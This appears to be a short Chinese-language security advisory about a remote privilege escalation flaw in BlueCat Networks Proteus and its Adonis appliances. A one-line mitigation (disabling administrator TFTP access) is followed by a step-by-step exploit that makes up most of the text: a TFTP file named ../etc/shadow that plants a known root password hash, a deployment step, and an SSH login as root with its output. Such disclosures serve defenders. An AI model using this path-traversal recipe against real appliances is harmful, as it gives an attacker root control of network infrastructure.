BlueCat Networks Proteus TFTP文件远程权限提升漏洞. 存在漏洞可获取服务器root用户权限. 临时解决方法禁止管理员TFTP访问

Code

                                                1) 在Proteus配置中创建新的TFTP组
2) 添加TFTP部署角色,指定Adonis设备到组中
3) 在新TFTP组的顶级文件夹,添加名为../etc/shadow的文件并加载包含有以下行的文件:

   root:Im0Zgl8tnEq9Y:13637:0:99999:7:::

4) 向Adonis设备部署配置
5) 现在可以口令bluecat以root权限登录到Adonis设备:

   $ ssh [email protected]
   [email protected]'s password:
   # cat /etc/shadow
   root:Im0Zgl8tnEq9Y:13637:0:99999:7:::

注释:这个示例假设启用了SSH,iptable允许TCP/22端口。
